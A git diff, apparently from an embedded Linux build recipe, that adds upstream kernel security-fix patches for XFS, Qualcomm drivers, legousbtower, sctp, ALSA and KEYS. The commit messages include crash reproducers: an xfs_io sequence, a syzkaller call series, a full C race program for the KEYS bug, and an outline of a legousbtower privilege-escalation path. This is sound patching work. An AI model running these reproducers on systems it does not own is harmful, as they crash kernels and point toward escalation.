# mkdir /mnt/test/foo + # xfs_io -c 'chattr +t' /mnt/test/foo + # xfs_io -f -c 'pwrite 0 5m' -c fsync /mnt/test/foo/bar + +Or just run xfstests with MKFS_OPTIONS="-d rtinherit=1" and wait. + +Kernels built with CONFIG_XFS_RT=n are not exposed to this bug. + +Fixes: f538d4da8d52 ("[XFS] write barrier support") +Signed-off-by: Richard Wareing +Signed-off-by: Dave Chinner +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/xfs/libxfs/xfs_dinode.h | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/fs/xfs/libxfs/xfs_dinode.h b/fs/xfs/libxfs/xfs_dinode.h +index 623bbe8fd921..a62b36731775 100644 +--- a/fs/xfs/libxfs/xfs_dinode.h ++++ b/fs/xfs/libxfs/xfs_dinode.h +@@ -228,7 +228,14 @@ static inline void xfs_dinode_put_rdev(struct xfs_dinode *dip, xfs_dev_t rdev) + #define XFS_DIFLAG_FILESTREAM (1 << XFS_DIFLAG_FILESTREAM_BIT) + + #ifdef CONFIG_XFS_RT +-#define XFS_IS_REALTIME_INODE(ip) ((ip)->i_d.di_flags & XFS_DIFLAG_REALTIME) ++ ++/* ++ * make sure we ignore the inode flag if the filesystem doesn't have a ++ * configured realtime device. ++ */ ++#define XFS_IS_REALTIME_INODE(ip) \ ++ (((ip)->i_d.di_flags & XFS_DIFLAG_REALTIME) && \ ++ (ip)->i_mount->m_rtdev_targp) + #else + #define XFS_IS_REALTIME_INODE(ip) (0) + #endif +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0295-57377acfed32-msm mdss Fix possible memory overwrite in pgc config.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0295-57377acfed32-msm mdss Fix possible memory overwrite in pgc config.patch new file mode 100644 index 0000000..3d071b3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0295-57377acfed32-msm mdss Fix possible memory overwrite in pgc config.patch @@ -0,0 +1,51 @@ +From 57377acfed328757da280f4adf1c300f0b032422 Mon Sep 17 00:00:00 2001 +From: "Sravan Kumar D.V.N" +Date: Fri, 21 Jul 2017 01:11:16 +0530 +Subject: msm: mdss: Fix possible memory overwrite in pgc config + +Possible memory overwrite in pgc get config is fixed by +eliminating direct reference to user data. + +Change-Id: I7117848bacb8e69720eb3121d02bbacf02cab13a +Signed-off-by: Sravan Kumar D.V.N +--- + drivers/video/msm/mdss/mdss_mdp_pp_v1_7.c | 14 +++++++++----- + 1 file changed, 9 insertions(+), 5 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_pp_v1_7.c b/drivers/video/msm/mdss/mdss_mdp_pp_v1_7.c +index f6d4d86..c6bd613 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_pp_v1_7.c ++++ b/drivers/video/msm/mdss/mdss_mdp_pp_v1_7.c +@@ -1956,20 +1956,24 @@ static int pp_pgc_get_config(char __iomem *base_addr, void *cfg_data, + u32 *c0_data = NULL, *c1_data = NULL, *c2_data = NULL; + u32 val = 0, i = 0, sz = 0; + struct mdp_pgc_lut_data *pgc_data = NULL; +- struct mdp_pgc_lut_data_v1_7 *pgc_data_v17 = NULL; ++ struct mdp_pgc_lut_data_v1_7 pgc_lut_data_v17; ++ struct mdp_pgc_lut_data_v1_7 *pgc_data_v17 = &pgc_lut_data_v17; + if (!base_addr || !cfg_data) { + pr_err("invalid params base_addr %pK cfg_data %pK block_type %d\n", + base_addr, cfg_data, block_type); + return -EINVAL; + } + pgc_data = (struct mdp_pgc_lut_data *) cfg_data; +- pgc_data_v17 = (struct mdp_pgc_lut_data_v1_7 *) +- pgc_data->cfg_payload; +- if (pgc_data->version != mdp_pgc_v1_7 || !pgc_data_v17) { ++ if (pgc_data->version != mdp_pgc_v1_7 || !pgc_data->cfg_payload) { + pr_err("invalid pgc version %d payload %pK\n", +- pgc_data->version, pgc_data_v17); ++ pgc_data->version, pgc_data->cfg_payload); + return -EINVAL; + } ++ if (copy_from_user(pgc_data_v17, (void __user *) pgc_data->cfg_payload, ++ sizeof(*pgc_data_v17))) { ++ pr_err("copy from user failed for pgc lut data\n"); ++ return -EFAULT; ++ } + if (!(pgc_data->flags & MDP_PP_OPS_READ)) { + pr_info("read ops is not set %d", pgc_data->flags); + return -EINVAL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0296-c2fd287bf16d-msmipa Fix to kasan useafterfree issue.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0296-c2fd287bf16d-msmipa Fix to kasan useafterfree issue.patch new file mode 100644 index 0000000..ed46098 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0296-c2fd287bf16d-msmipa Fix to kasan useafterfree issue.patch @@ -0,0 +1,63 @@ +From c2fd287bf16dc5e9f98145ba91083bdc56dfc01f Mon Sep 17 00:00:00 2001 +From: Mohammed Javid +Date: Thu, 15 Jun 2017 18:39:07 +0530 +Subject: msm:ipa: Fix to kasan use-after-free issue + +Added mutex lock to query rt table function also to sync +with other ioctl calls in both ipa v2/v3. + +Change-Id: I65d46c0ef28b5e6260c92473fd15e9763de20146 +Acked-by: Ashok Vuyyuru +Signed-off-by: Mohammed Javid +--- + drivers/platform/msm/ipa/ipa_v2/ipa_rt.c | 6 +++++- + drivers/platform/msm/ipa/ipa_v3/ipa_rt.c | 7 +++++-- + 2 files changed, 10 insertions(+), 3 deletions(-) + +diff --git a/drivers/platform/msm/ipa/ipa_v2/ipa_rt.c b/drivers/platform/msm/ipa/ipa_v2/ipa_rt.c +index ca27488..8ce3617 100644 +--- a/drivers/platform/msm/ipa/ipa_v2/ipa_rt.c ++++ b/drivers/platform/msm/ipa/ipa_v2/ipa_rt.c +@@ -852,12 +852,16 @@ int ipa2_query_rt_index(struct ipa_ioc_get_rt_tbl_indx *in) + return -EINVAL; + } + ++ mutex_lock(&ipa_ctx->lock); + /* check if this table exists */ + entry = __ipa_find_rt_tbl(in->ip, in->name); +- if (!entry) ++ if (!entry) { ++ mutex_unlock(&ipa_ctx->lock); + return -EFAULT; ++ } + + in->idx = entry->idx; ++ mutex_unlock(&ipa_ctx->lock); + return 0; + } + +diff --git a/drivers/platform/msm/ipa/ipa_v3/ipa_rt.c b/drivers/platform/msm/ipa/ipa_v3/ipa_rt.c +index 43d0a37..2e1a4ba 100644 +--- a/drivers/platform/msm/ipa/ipa_v3/ipa_rt.c ++++ b/drivers/platform/msm/ipa/ipa_v3/ipa_rt.c +@@ -901,12 +901,15 @@ int ipa3_query_rt_index(struct ipa_ioc_get_rt_tbl_indx *in) + return -EINVAL; + } + ++ mutex_lock(&ipa3_ctx->lock); + /* check if this table exists */ + entry = __ipa3_find_rt_tbl(in->ip, in->name); +- if (!entry) ++ if (!entry) { ++ mutex_unlock(&ipa3_ctx->lock); + return -EFAULT; +- ++ } + in->idx = entry->idx; ++ mutex_unlock(&ipa3_ctx->lock); + return 0; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0297-736667bf08b0-msm kgsl Fixing an uninitialized variable in gpuobjmapuseraddr.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0297-736667bf08b0-msm kgsl Fixing an uninitialized variable in gpuobjmapuseraddr.patch new file mode 100644 index 0000000..6f5efb5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0297-736667bf08b0-msm kgsl Fixing an uninitialized variable in gpuobjmapuseraddr.patch @@ -0,0 +1,32 @@ +From 736667bf08b03fdca824e88b901c2dbdd6703a0c Mon Sep 17 00:00:00 2001 +From: Archana Obannagari +Date: Fri, 8 Sep 2017 20:35:28 +0530 +Subject: msm: kgsl: Fixing an uninitialized variable in _gpuobj_map_useraddr() + +Uninitalized kernel variable passes to userspace, it may have data +from stack. To avoid data leak from kernel to userspace initializes +struct kgsl_gpuobj_import_useraddr to zero. + +CRs-Fixed: 2096006 +Change-Id: Ib79b030cd5e3edd7279632af20dc3fac95eb73d4 +Signed-off-by: Archana Obannagari +--- + drivers/gpu/msm/kgsl.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/gpu/msm/kgsl.c b/drivers/gpu/msm/kgsl.c +index dfd36ee..a7ea61c 100644 +--- a/drivers/gpu/msm/kgsl.c ++++ b/drivers/gpu/msm/kgsl.c +@@ -2156,7 +2156,7 @@ static long _gpuobj_map_useraddr(struct kgsl_device *device, + struct kgsl_mem_entry *entry, + struct kgsl_gpuobj_import *param) + { +- struct kgsl_gpuobj_import_useraddr useraddr; ++ struct kgsl_gpuobj_import_useraddr useraddr = {0}; + int ret; + + param->flags &= KGSL_MEMFLAGS_GPUREADONLY +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0298-11e7de77bd5a-qseecom Fix accessing userspace memory in kernel space.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0298-11e7de77bd5a-qseecom Fix accessing userspace memory in kernel space.patch new file mode 100644 index 0000000..92cf6a1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0298-11e7de77bd5a-qseecom Fix accessing userspace memory in kernel space.patch @@ -0,0 +1,90 @@ +From 11e7de77bd5ab0a7706a013598f845ad0c4a8b4c Mon Sep 17 00:00:00 2001 +From: Brahmaji K +Date: Thu, 1 Jun 2017 17:20:10 +0530 +Subject: qseecom: Fix accessing userspace memory in kernel space + +Use put_user API to write the data from kernel space to +userspace to avoid accessing userspace memory directly +in kernel space. + +Change-Id: I649fe2597e80ccad50cf16b355e220734810e94c +Signed-off-by: Brahmaji K +--- + drivers/misc/qseecom.c | 24 +++++++++++++++++++----- + 1 file changed, 19 insertions(+), 5 deletions(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index d8de038..5d9f25c 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -2896,7 +2896,11 @@ static int qseecom_send_service_cmd(struct qseecom_dev_handle *data, + } + if (req.cmd_id == QSEOS_RPMB_CHECK_PROV_STATUS_COMMAND) { + pr_warn("RPMB key status is 0x%x\n", resp.result); +- *(uint32_t *)req.resp_buf = resp.result; ++ if (put_user(resp.result, ++ (uint32_t __user *)req.resp_buf)) { ++ ret = -EINVAL; ++ goto exit; ++ } + ret = 0; + } + break; +@@ -6437,11 +6441,16 @@ static int __qseecom_qteec_issue_cmd(struct qseecom_dev_handle *data, + void *cmd_buf = NULL; + size_t cmd_len; + struct sglist_info *table = data->sglistinfo_ptr; ++ void *req_ptr = NULL; ++ void *resp_ptr = NULL; + + ret = __qseecom_qteec_validate_msg(data, req); + if (ret) + return ret; + ++ req_ptr = req->req_ptr; ++ resp_ptr = req->resp_ptr; ++ + /* find app_id & img_name from list */ + spin_lock_irqsave(&qseecom.registered_app_list_lock, flags); + list_for_each_entry(ptr_app, &qseecom.registered_app_list_head, +@@ -6459,6 +6468,11 @@ static int __qseecom_qteec_issue_cmd(struct qseecom_dev_handle *data, + return -ENOENT; + } + ++ req->req_ptr = (void *)__qseecom_uvirt_to_kvirt(data, ++ (uintptr_t)req->req_ptr); ++ req->resp_ptr = (void *)__qseecom_uvirt_to_kvirt(data, ++ (uintptr_t)req->resp_ptr); ++ + if ((cmd_id == QSEOS_TEE_OPEN_SESSION) || + (cmd_id == QSEOS_TEE_REQUEST_CANCELLATION)) { + ret = __qseecom_update_qteec_req_buf( +@@ -6470,10 +6484,10 @@ static int __qseecom_qteec_issue_cmd(struct qseecom_dev_handle *data, + if (qseecom.qsee_version < QSEE_VERSION_40) { + ireq.app_id = data->client.app_id; + ireq.req_ptr = (uint32_t)__qseecom_uvirt_to_kphys(data, +- (uintptr_t)req->req_ptr); ++ (uintptr_t)req_ptr); + ireq.req_len = req->req_len; + ireq.resp_ptr = (uint32_t)__qseecom_uvirt_to_kphys(data, +- (uintptr_t)req->resp_ptr); ++ (uintptr_t)resp_ptr); + ireq.resp_len = req->resp_len; + ireq.sglistinfo_ptr = (uint32_t)virt_to_phys(table); + ireq.sglistinfo_len = SGLISTINFO_TABLE_SIZE; +@@ -6484,10 +6498,10 @@ static int __qseecom_qteec_issue_cmd(struct qseecom_dev_handle *data, + } else { + ireq_64bit.app_id = data->client.app_id; + ireq_64bit.req_ptr = (uint64_t)__qseecom_uvirt_to_kphys(data, +- (uintptr_t)req->req_ptr); ++ (uintptr_t)req_ptr); + ireq_64bit.req_len = req->req_len; + ireq_64bit.resp_ptr = (uint64_t)__qseecom_uvirt_to_kphys(data, +- (uintptr_t)req->resp_ptr); ++ (uintptr_t)resp_ptr); + ireq_64bit.resp_len = req->resp_len; + if ((data->client.app_arch == ELFCLASS32) && + ((ireq_64bit.req_ptr >= +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0299-2fae9e5a7bab-usb misc legousbtower Fix NULL pointer deference.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0299-2fae9e5a7bab-usb misc legousbtower Fix NULL pointer deference.patch new file mode 100644 index 0000000..6ca7c11 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0299-2fae9e5a7bab-usb misc legousbtower Fix NULL pointer deference.patch @@ -0,0 +1,91 @@ +From 2fae9e5a7babada041e2e161699ade2447a01989 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Mon, 19 Sep 2016 19:09:51 +0100 +Subject: usb: misc: legousbtower: Fix NULL pointer deference + +This patch fixes a NULL pointer dereference caused by a race codition in +the probe function of the legousbtower driver. It re-structures the +probe function to only register the interface after successfully reading +the board's firmware ID. + +The probe function does not deregister the usb interface after an error +receiving the devices firmware ID. The device file registered +(/dev/usb/legousbtower%d) may be read/written globally before the probe +function returns. When tower_delete is called in the probe function +(after an r/w has been initiated), core dev structures are deleted while +the file operation functions are still running. If the 0 address is +mappable on the machine, this vulnerability can be used to create a +Local Priviege Escalation exploit via a write-what-where condition by +remapping dev->interrupt_out_buffer in tower_write. A forged USB device +and local program execution would be required for LPE. The USB device +would have to delay the control message in tower_probe and accept +the control urb in tower_open whilst guest code initiated a write to the +device file as tower_delete is called from the error in tower_probe. + +This bug has existed since 2003. Patch tested by emulated device. + +Reported-by: James Patrick-Evans +Tested-by: James Patrick-Evans +Signed-off-by: James Patrick-Evans +Cc: stable +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/legousbtower.c | 35 +++++++++++++++++------------------ + 1 file changed, 17 insertions(+), 18 deletions(-) + +diff --git a/drivers/usb/misc/legousbtower.c b/drivers/usb/misc/legousbtower.c +index ece9b3c1eaac..c8fbe7b739a0 100644 +--- a/drivers/usb/misc/legousbtower.c ++++ b/drivers/usb/misc/legousbtower.c +@@ -886,24 +886,6 @@ static int tower_probe (struct usb_interface *interface, const struct usb_device + dev->interrupt_in_interval = interrupt_in_interval ? interrupt_in_interval : dev->interrupt_in_endpoint->bInterval; + dev->interrupt_out_interval = interrupt_out_interval ? interrupt_out_interval : dev->interrupt_out_endpoint->bInterval; + +- /* we can register the device now, as it is ready */ +- usb_set_intfdata (interface, dev); +- +- retval = usb_register_dev (interface, &tower_class); +- +- if (retval) { +- /* something prevented us from registering this driver */ +- dev_err(idev, "Not able to get a minor for this device.\n"); +- usb_set_intfdata (interface, NULL); +- goto error; +- } +- dev->minor = interface->minor; +- +- /* let the user know what node this device is now attached to */ +- dev_info(&interface->dev, "LEGO USB Tower #%d now attached to major " +- "%d minor %d\n", (dev->minor - LEGO_USB_TOWER_MINOR_BASE), +- USB_MAJOR, dev->minor); +- + /* get the firmware version and log it */ + result = usb_control_msg (udev, + usb_rcvctrlpipe(udev, 0), +@@ -924,6 +906,23 @@ static int tower_probe (struct usb_interface *interface, const struct usb_device + get_version_reply.minor, + le16_to_cpu(get_version_reply.build_no)); + ++ /* we can register the device now, as it is ready */ ++ usb_set_intfdata (interface, dev); ++ ++ retval = usb_register_dev (interface, &tower_class); ++ ++ if (retval) { ++ /* something prevented us from registering this driver */ ++ dev_err(idev, "Not able to get a minor for this device.\n"); ++ usb_set_intfdata (interface, NULL); ++ goto error; ++ } ++ dev->minor = interface->minor; ++ ++ /* let the user know what node this device is now attached to */ ++ dev_info(&interface->dev, "LEGO USB Tower #%d now attached to major " ++ "%d minor %d\n", (dev->minor - LEGO_USB_TOWER_MINOR_BASE), ++ USB_MAJOR, dev->minor); + + exit: + return retval; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0300-39c3fff9ef51-sctp do not peel off an assoc from one netns to another one.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0300-39c3fff9ef51-sctp do not peel off an assoc from one netns to another one.patch new file mode 100644 index 0000000..7cc244b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0300-39c3fff9ef51-sctp do not peel off an assoc from one netns to another one.patch @@ -0,0 +1,65 @@ +From 39c3fff9ef51ba9f2748f37ad7d9cfef365e87fe Mon Sep 17 00:00:00 2001 +From: Xin Long +Date: Tue, 17 Oct 2017 23:26:10 +0800 +Subject: sctp: do not peel off an assoc from one netns to another one + +[ Upstream commit df80cd9b28b9ebaa284a41df611dbf3a2d05ca74 ] + +Now when peeling off an association to the sock in another netns, all +transports in this assoc are not to be rehashed and keep use the old +key in hashtable. + +As a transport uses sk->net as the hash key to insert into hashtable, +it would miss removing these transports from hashtable due to the new +netns when closing the sock and all transports are being freeed, then +later an use-after-free issue could be caused when looking up an asoc +and dereferencing those transports. + +This is a very old issue since very beginning, ChunYu found it with +syzkaller fuzz testing with this series: + + socket$inet6_sctp() + bind$inet6() + sendto$inet6() + unshare(0x40000000) + getsockopt$inet_sctp6_SCTP_GET_ASSOC_ID_LIST() + getsockopt$inet_sctp6_SCTP_SOCKOPT_PEELOFF() + +This patch is to block this call when peeling one assoc off from one +netns to another one, so that the netns of all transport would not +go out-sync with the key in hashtable. + +Note that this patch didn't fix it by rehashing transports, as it's +difficult to handle the situation when the tuple is already in use +in the new netns. Besides, no one would like to peel off one assoc +to another netns, considering ipaddrs, ifaces, etc. are usually +different. + +Reported-by: ChunYu Wang +Signed-off-by: Xin Long +Acked-by: Marcelo Ricardo Leitner +Acked-by: Neil Horman +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/socket.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index 07324ca1df1d7..3f89cd063246d 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -4466,6 +4466,10 @@ int sctp_do_peeloff(struct sock *sk, sctp_assoc_t id, struct socket **sockp) + struct socket *sock; + int err = 0; + ++ /* Do not peel off from one netns to another one. */ ++ if (!net_eq(current->nsproxy->net_ns, sock_net(sk))) ++ return -EINVAL; ++ + if (!asoc) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0301-035e6d0b5b19-ALSA seq Fix useafterfree at creating a port.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0301-035e6d0b5b19-ALSA seq Fix useafterfree at creating a port.patch new file mode 100644 index 0000000..59b5efc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0301-035e6d0b5b19-ALSA seq Fix useafterfree at creating a port.patch @@ -0,0 +1,142 @@ +From 035e6d0b5b192ff5e168ed322304d29db108d790 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 9 Oct 2017 11:09:20 +0200 +Subject: ALSA: seq: Fix use-after-free at creating a port + +commit 71105998845fb012937332fe2e806d443c09e026 upstream. + +There is a potential race window opened at creating and deleting a +port via ioctl, as spotted by fuzzing. snd_seq_create_port() creates +a port object and returns its pointer, but it doesn't take the +refcount, thus it can be deleted immediately by another thread. +Meanwhile, snd_seq_ioctl_create_port() still calls the function +snd_seq_system_client_ev_port_start() with the created port object +that is being deleted, and this triggers use-after-free like: + + BUG: KASAN: use-after-free in snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] at addr ffff8801f2241cb1 + ============================================================================= + BUG kmalloc-512 (Tainted: G B ): kasan: bad access detected + ----------------------------------------------------------------------------- + INFO: Allocated in snd_seq_create_port+0x94/0x9b0 [snd_seq] age=1 cpu=3 pid=4511 + ___slab_alloc+0x425/0x460 + __slab_alloc+0x20/0x40 + kmem_cache_alloc_trace+0x150/0x190 + snd_seq_create_port+0x94/0x9b0 [snd_seq] + snd_seq_ioctl_create_port+0xd1/0x630 [snd_seq] + snd_seq_do_ioctl+0x11c/0x190 [snd_seq] + snd_seq_ioctl+0x40/0x80 [snd_seq] + do_vfs_ioctl+0x54b/0xda0 + SyS_ioctl+0x79/0x90 + entry_SYSCALL_64_fastpath+0x16/0x75 + INFO: Freed in port_delete+0x136/0x1a0 [snd_seq] age=1 cpu=2 pid=4717 + __slab_free+0x204/0x310 + kfree+0x15f/0x180 + port_delete+0x136/0x1a0 [snd_seq] + snd_seq_delete_port+0x235/0x350 [snd_seq] + snd_seq_ioctl_delete_port+0xc8/0x180 [snd_seq] + snd_seq_do_ioctl+0x11c/0x190 [snd_seq] + snd_seq_ioctl+0x40/0x80 [snd_seq] + do_vfs_ioctl+0x54b/0xda0 + SyS_ioctl+0x79/0x90 + entry_SYSCALL_64_fastpath+0x16/0x75 + Call Trace: + [] dump_stack+0x63/0x82 + [] print_trailer+0xfb/0x160 + [] object_err+0x34/0x40 + [] kasan_report.part.2+0x223/0x520 + [] ? snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] + [] __asan_report_load1_noabort+0x2e/0x30 + [] snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] + [] ? snd_seq_ioctl_delete_port+0x180/0x180 [snd_seq] + [] ? taskstats_exit+0xbc0/0xbc0 + [] snd_seq_do_ioctl+0x11c/0x190 [snd_seq] + [] snd_seq_ioctl+0x40/0x80 [snd_seq] + [] ? acct_account_cputime+0x63/0x80 + [] do_vfs_ioctl+0x54b/0xda0 + ..... + +We may fix this in a few different ways, and in this patch, it's fixed +simply by taking the refcount properly at snd_seq_create_port() and +letting the caller unref the object after use. Also, there is another +potential use-after-free by sprintf() call in snd_seq_create_port(), +and this is moved inside the lock. + +This fix covers CVE-2017-15265. + +Reported-and-tested-by: Michael23 Yu +Suggested-by: Linus Torvalds +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/seq/seq_clientmgr.c | 6 +++++- + sound/core/seq/seq_ports.c | 7 +++++-- + 2 files changed, 10 insertions(+), 3 deletions(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index 4a240416b830..41347ad1c4d5 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -1260,6 +1260,7 @@ static int snd_seq_ioctl_create_port(struct snd_seq_client *client, + struct snd_seq_client_port *port; + struct snd_seq_port_info info; + struct snd_seq_port_callback *callback; ++ int port_idx; + + if (copy_from_user(&info, arg, sizeof(info))) + return -EFAULT; +@@ -1273,7 +1274,9 @@ static int snd_seq_ioctl_create_port(struct snd_seq_client *client, + return -ENOMEM; + + if (client->type == USER_CLIENT && info.kernel) { +- snd_seq_delete_port(client, port->addr.port); ++ port_idx = port->addr.port; ++ snd_seq_port_unlock(port); ++ snd_seq_delete_port(client, port_idx); + return -EINVAL; + } + if (client->type == KERNEL_CLIENT) { +@@ -1295,6 +1298,7 @@ static int snd_seq_ioctl_create_port(struct snd_seq_client *client, + + snd_seq_set_port_info(port, &info); + snd_seq_system_client_ev_port_start(port->addr.client, port->addr.port); ++ snd_seq_port_unlock(port); + + if (copy_to_user(arg, &info, sizeof(info))) + return -EFAULT; +diff --git a/sound/core/seq/seq_ports.c b/sound/core/seq/seq_ports.c +index 9c1c8d50f593..1ddae911255c 100644 +--- a/sound/core/seq/seq_ports.c ++++ b/sound/core/seq/seq_ports.c +@@ -122,7 +122,9 @@ static void port_subs_info_init(struct snd_seq_port_subs_info *grp) + } + + +-/* create a port, port number is returned (-1 on failure) */ ++/* create a port, port number is returned (-1 on failure); ++ * the caller needs to unref the port via snd_seq_port_unlock() appropriately ++ */ + struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, + int port) + { +@@ -151,6 +153,7 @@ struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, + snd_use_lock_init(&new_port->use_lock); + port_subs_info_init(&new_port->c_src); + port_subs_info_init(&new_port->c_dest); ++ snd_use_lock_use(&new_port->use_lock); + + num = port >= 0 ? port : 0; + mutex_lock(&client->ports_mutex); +@@ -165,9 +168,9 @@ struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, + list_add_tail(&new_port->list, &p->list); + client->num_ports++; + new_port->addr.port = num; /* store the port number in the port */ ++ sprintf(new_port->name, "port-%d", num); + write_unlock_irqrestore(&client->ports_lock, flags); + mutex_unlock(&client->ports_mutex); +- sprintf(new_port->name, "port-%d", num); + + return new_port; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0302-8206e0a25785-KEYS fix dereferencing NULL payload with nonzero length.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0302-8206e0a25785-KEYS fix dereferencing NULL payload with nonzero length.patch new file mode 100644 index 0000000..e62b32a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0302-8206e0a25785-KEYS fix dereferencing NULL payload with nonzero length.patch @@ -0,0 +1,50 @@ +From 8206e0a25785c58e88a444fed1d4646da60b14a4 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Thu, 8 Jun 2017 14:48:40 +0100 +Subject: KEYS: fix dereferencing NULL payload with nonzero length + +commit 5649645d725c73df4302428ee4e02c869248b4c5 upstream. + +sys_add_key() and the KEYCTL_UPDATE operation of sys_keyctl() allowed a +NULL payload with nonzero length to be passed to the key type's +->preparse(), ->instantiate(), and/or ->update() methods. Various key +types including asymmetric, cifs.idmap, cifs.spnego, and pkcs7_test did +not handle this case, allowing an unprivileged user to trivially cause a +NULL pointer dereference (kernel oops) if one of these key types was +present. Fix it by doing the copy_from_user() when 'plen' is nonzero +rather than when '_payload' is non-NULL, causing the syscall to fail +with EFAULT as expected when an invalid buffer is specified. + +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: James Morris +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/keyctl.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 1187d2f5e34b..98c5ebc6dad6 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -99,7 +99,7 @@ SYSCALL_DEFINE5(add_key, const char __user *, _type, + payload = NULL; + + vm = false; +- if (_payload) { ++ if (plen) { + ret = -ENOMEM; + payload = kmalloc(plen, GFP_KERNEL | __GFP_NOWARN); + if (!payload) { +@@ -333,7 +333,7 @@ long keyctl_update_key(key_serial_t id, + + /* pull the payload in if one was supplied */ + payload = NULL; +- if (_payload) { ++ if (plen) { + ret = -ENOMEM; + payload = kmalloc(plen, GFP_KERNEL); + if (!payload) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0303-98c4e5cae520-KEYS dont let addkey update an uninstantiated key.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0303-98c4e5cae520-KEYS dont let addkey update an uninstantiated key.patch new file mode 100644 index 0000000..9494fab --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0303-98c4e5cae520-KEYS dont let addkey update an uninstantiated key.patch @@ -0,0 +1,122 @@ +From 98c4e5cae5204c1114390219331ddd649d78a5a7 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Thu, 12 Oct 2017 16:00:41 +0100 +Subject: KEYS: don't let add_key() update an uninstantiated key + +commit 60ff5b2f547af3828aebafd54daded44cfb0807a upstream. + +Currently, when passed a key that already exists, add_key() will call the +key's ->update() method if such exists. But this is heavily broken in the +case where the key is uninstantiated because it doesn't call +__key_instantiate_and_link(). Consequently, it doesn't do most of the +things that are supposed to happen when the key is instantiated, such as +setting the instantiation state, clearing KEY_FLAG_USER_CONSTRUCT and +awakening tasks waiting on it, and incrementing key->user->nikeys. + +It also never takes key_construction_mutex, which means that +->instantiate() can run concurrently with ->update() on the same key. In +the case of the "user" and "logon" key types this causes a memory leak, at +best. Maybe even worse, the ->update() methods of the "encrypted" and +"trusted" key types actually just dereference a NULL pointer when passed an +uninstantiated key. + +Change key_create_or_update() to wait interruptibly for the key to finish +construction before continuing. + +This patch only affects *uninstantiated* keys. For now we still allow a +negatively instantiated key to be updated (thereby positively +instantiating it), although that's broken too (the next patch fixes it) +and I'm not sure that anyone actually uses that functionality either. + +Here is a simple reproducer for the bug using the "encrypted" key type +(requires CONFIG_ENCRYPTED_KEYS=y), though as noted above the bug +pertained to more than just the "encrypted" key type: + + #include + #include + #include + + int main(void) + { + int ringid = keyctl_join_session_keyring(NULL); + + if (fork()) { + for (;;) { + const char payload[] = "update user:foo 32"; + + usleep(rand() % 10000); + add_key("encrypted", "desc", payload, sizeof(payload), ringid); + keyctl_clear(ringid); + } + } else { + for (;;) + request_key("encrypted", "desc", "callout_info", ringid); + } + } + +It causes: + + BUG: unable to handle kernel NULL pointer dereference at 0000000000000018 + IP: encrypted_update+0xb0/0x170 + PGD 7a178067 P4D 7a178067 PUD 77269067 PMD 0 + PREEMPT SMP + CPU: 0 PID: 340 Comm: reproduce Tainted: G D 4.14.0-rc1-00025-g428490e38b2e #796 + Hardware 